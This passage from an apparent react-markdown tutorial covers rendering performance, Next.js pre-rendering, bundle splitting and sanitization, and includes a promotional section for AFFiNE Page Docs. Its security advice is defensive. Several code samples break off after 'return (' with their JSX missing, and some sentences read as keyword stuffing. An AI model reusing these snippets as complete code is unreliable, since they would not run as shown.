return (
{Row}
);
}
Virtualization minimizes the DOM element count to only what fits on screen, regardless of document length. The tradeoff is that line-by-line splitting breaks multi-line Markdown constructs like tables, blockquotes, and fenced code blocks. For documents with complex structure, split on section boundaries (headings) rather than individual lines, and use variable-height rows with react-window's VariableSizeList.
Complex tables deserve specific attention because they are a common performance trap. A react markdown table with dozens of columns and hundreds of rows generates a deeply nested DOM tree: table > thead/tbody > tr > td, with each cell potentially containing parsed inline Markdown. A 50-row, 10-column table produces over 500 DOM elements from a single Markdown block.
If your content includes data-heavy tables, consider these targeted optimizations:
• Cap visible rows - Render only the first N rows and add an expand control, similar to the chunking pattern above.
• Simplify cell content - Avoid inline Markdown (bold, links, code) inside table cells when possible. Each cell triggers its own inline parse pass.
• Use a custom table component - Override the table element via the components prop and render large datasets with a dedicated table library that supports virtualized rows.
For a line break in markdown table cells, the standard approach is using <br> tags (which requires rehype-raw) or the trailing double-space syntax. Both work, but <br> tags inside table cells add extra HTML elements that multiply across every row. If your tables are performance-sensitive, markdown linebreak handling inside cells is one place where keeping content simple pays dividends.
Client-side rendering means the user's browser pays the full cost of parsing and transformation. For content that does not change between requests, this is wasted work. Server-side rendering (SSR) and static site generation (SSG) shift that cost to build time or request time on the server, delivering fully rendered HTML that the browser can paint immediately.
In a Next.js App Router project, every page.tsx is a Server Component by default. This means react-markdown can run entirely on the server, and the Markdown parsing overhead never touches the client:
// app/docs/[slug]/page.tsx
import ReactMarkdown from 'react-markdown'; import remarkGfm from 'remark-gfm'; import { getDocBySlug, getAllDocSlugs } from '@/lib/docs';
export async function generateStaticParams() { const slugs = await getAllDocSlugs(); return slugs.map((slug) => ({ slug })); }
export default async function DocPage({ params }: { params: { slug: string } }) { const doc = await getDocBySlug(params.slug);
return (
The generateStaticParams function tells Next.js to pre-render every documentation page at build time. The Markdown is parsed once during the build, and visitors receive static HTML with zero client-side JavaScript for the content itself. This is the fastest possible delivery for content that does not change between deployments.
For content that updates more frequently, like CMS-driven blog posts, Incremental Static Regeneration (ISR) lets you set a revalidation interval so pages regenerate in the background without a full rebuild.
When a document is too large to render in a single server response without blocking, React's Suspense boundaries let you stream sections progressively. The browser receives and paints the page shell immediately, and heavier content sections stream in as they finish rendering:
import { Suspense } from 'react';
export default async function LongDocPage({ params }: { params: { slug: string } }) { return (
This pattern improves First Contentful Paint because the browser does not wait for the entire Markdown pipeline to finish before showing something on screen.
Deploying to edge runtimes (Vercel Edge Functions, Cloudflare Workers) introduces a familiar problem. These environments strip Node.js globals for performance, which means process is not available. If any dependency in your plugin chain references process.env, you get the same process is not defined runtime error discussed in the installation section, but now it happens on the server instead of the browser.
The fix depends on your deployment target. In Next.js, adding export const runtime = 'nodejs' to a route segment switches that page to the Node.js runtime where process is available. If you must use the edge runtime, ensure every plugin in your chain is free of Node.js global references, or use the define configuration in your bundler to shim process.env as an empty object. A markdown breakline in your deployment pipeline is better than a runtime crash in production.
The full plugin chain for react-markdown adds up. The core library plus remark-gfm, rehype-raw, rehype-sanitize, and a syntax highlighter can push your JavaScript bundle well past 100KB gzipped. Not every page needs every plugin. A landing page that renders a simple Markdown description does not need the math renderer or the syntax highlighting theme.
Code-splitting with [React.lazy](https://www.greatfrontend.com/blog/code-splitting-and-lazy-loading-in-react) lets you defer heavy plugins to the pages that actually use them:
import { lazy, Suspense } from 'react';
const RichMarkdown = lazy(() => import('@/components/RichMarkdown'));
export function DocViewer({ content }: { content: string }) { return ( <Suspense fallback={
The RichMarkdown component imports react-markdown with the full plugin suite internally. That entire dependency tree becomes a separate chunk that only loads when the component renders. Pages that do not display Markdown never download the parsing library at all.
For syntax highlighting specifically, the highlight.js or Prism bundles can be the single largest dependency in your chain. Lazy-load them as a custom code component so the highlighting library only ships when a page actually contains fenced code blocks. A line break markdown readers might gloss over, but one that saves 80KB+ of JavaScript for every non-technical page.
Before deploying any react-markdown implementation, run through these items to confirm your setup handles real-world load:
• Memoize stable content - Wrap your rendering component in React.memo to prevent re-parsing when content has not changed.
• Lazy-load syntax highlighting - Code-split the highlight library and its themes so non-technical pages stay lightweight.
• Pre-render when possible - Use generateStaticParams or ISR to shift parsing cost to build time for content that does not change per request.
• Sanitize always - Pair rehype-raw with rehype-sanitize for any user-supplied content, no exceptions.
• Monitor bundle impact - Use your bundler's analysis tool (webpack-bundle-analyzer, Vite's rollup-plugin-visualizer) to verify that the full plugin chain is not inflating pages that do not need it.
Performance optimization and production hardening close the technical gap between a working prototype and a deployable application. The pipeline is configured, the output is safe, and rendering is efficient. What remains is the content itself, the Markdown strings that feed into this system. Where they come from, how they are organized, and how teams collaborate on them is a workflow question that sits just outside the codebase but directly affects everything the renderer displays.
Your rendering pipeline is optimized, your plugins are configured, and your components are styled. But every react-markdown implementation is only as good as the content it receives. That content has to come from somewhere, and for most teams, "somewhere" is a scattered collection of README files, hastily written sample markdown file drafts in a repo, and documentation notes buried in Slack threads or personal editors. The rendering layer is solved. The authoring layer rarely is.
Developers building a react markdown editor experience or a documentation site typically start with content living inside the codebase itself. A .md file in a /docs folder, frontmatter at the top, bullet points in markdown lists for feature descriptions, and fenced code blocks for examples. This works when one person maintains a handful of pages.
It breaks down when content scales. A growing documentation site needs dozens of pages with consistent structure. A knowledge base needs contributions from writers, product managers, and designers who are not comfortable committing to Git. A developer writing a newline in markdown knows to use trailing spaces or a blank line, but a content collaborator just wants to press Enter and see the result. The gap between technical Markdown fluency and accessible content creation is where teams lose velocity.
Tools that combine Markdown-style writing with rich blocks, tables, and embedded media give teams a way to draft content that eventually feeds into React-rendered views. The authoring environment does not need to be the same as the rendering environment, but it does need to produce structured output that your pipeline can consume.
A markdown editor react developers use in their IDE is optimized for individual productivity. Team-scale content creation needs something different: real-time collaboration, visual structure, and export paths that connect to rendering pipelines.
AFFiNE's Page Docs addresses this gap by providing Markdown-style clarity with structured writing, rich blocks, tables, PDF previews, and templates in one workspace. Developers and writers collaborate on documentation, cheat sheets, and knowledge-base pages without requiring everyone to learn Git workflows or raw Markdown syntax. The content stays organized and exportable, ready to feed into a react js markdown editor component or a static site generator that renders through the remark-rehype pipeline.
This creates a practical authoring-to-display pipeline. Content teams draft in an environment that feels familiar, using features like bullet points in markdown style, embedded media, and structured tables. Developers consume that output in their rendering layer without reformatting or manual conversion. The md editor react developers maintain stays focused on display logic, while the content creation layer handles structure and collaboration.
The workflow benefits of pairing a dedicated authoring tool with your rendering pipeline include:
• Draft with Markdown familiarity - Writers use the syntax they know while getting visual feedback without running a dev server.
• Enhance with rich blocks and media - Tables, images, embeds, and structured layouts go beyond what a plain .md file supports.
• Collaborate in real time - Multiple contributors edit simultaneously without merge conflicts or Git overhead.
• Export structured content for rendering pipelines - Output feeds directly into react-markdown, static generators, or CMS APIs that your components already consume.
The react md editor landscape includes many options for embedding editing capabilities directly in your app. But the content management problem is upstream of the editor component. Before you render a newline in markdown or style a heading with Tailwind, someone has to write that content, organize it, and keep it current. Treating content creation as a first-class workflow, separate from but connected to your rendering pipeline, is what turns scattered notes into a maintainable knowledge system that your react-markdown components can reliably display.
react-markdown never produces an HTML string or injects content via innerHTML. Instead, it builds a syntax tree internally using the remark-rehype pipeline and outputs React elements through standard createElement calls. This means every heading, link, and paragraph becomes a real React node that participates in reconciliation and event handling. The result is structurally safe by default, eliminating entire categories of XSS vulnerabilities that string-based approaches like dangerouslySetInnerHTML introduce without a separate sanitization layer.
Tables, strikethrough, task lists, and autolinks belong to GitHub Flavored Markdown (GFM), which is not part of the CommonMark specification that react-markdown follows by default. You need to install and add the remark-gfm plugin to your plugin chain. Without it, table syntax silently renders as plain text with visible pipe characters. Install it with npm install remark-gfm and pass it via the remarkPlugins prop: remarkPlugins={[remarkGfm]}.
This error occurs because process is a Node.js global that does not exist in browser environments, and Vite does not shim it automatically like Webpack historically did. The fix is adding a define property to your vite.config.ts: define: { 'process.env': {} }. This provides an empty object wherever process.env is referenced, preventing the runtime error. For Webpack 5 projects, use the DefinePlugin with the same approach.
The choice depends on whether you need the plugin ecosystem. markdown-to-jsx ships at roughly 5KB gzipped versus 30KB+ for react-markdown with plugins, making it ideal for bundle-sensitive applications with straightforward content. However, it lacks an equivalent to the remark-rehype plugin chain, so features like GFM tables, math rendering, syntax highlighting, and tree-based sanitization are not available. Choose react-markdown when you need extensibility and security through plugins; choose markdown-to-jsx when minimal bundle size matters more than advanced transformations.
react-markdown is safe by default because it escapes raw HTML. The risk appears when you add rehype-raw to support HTML passthrough. In that case, always pair it with rehype-sanitize in your plugin chain: rehypePlugins={[rehypeRaw, rehypeSanitize]}. The sanitizer operates on the HTML AST and strips dangerous elements like script tags, event handler attributes (onerror, onmouseover), and javascript: protocol URLs. You can extend the default schema to allowlist specific elements while keeping everything else locked down. For content authoring workflows, tools like AFFiNE Page Docs let teams draft structured content in a controlled environment before it reaches your rendering pipeline.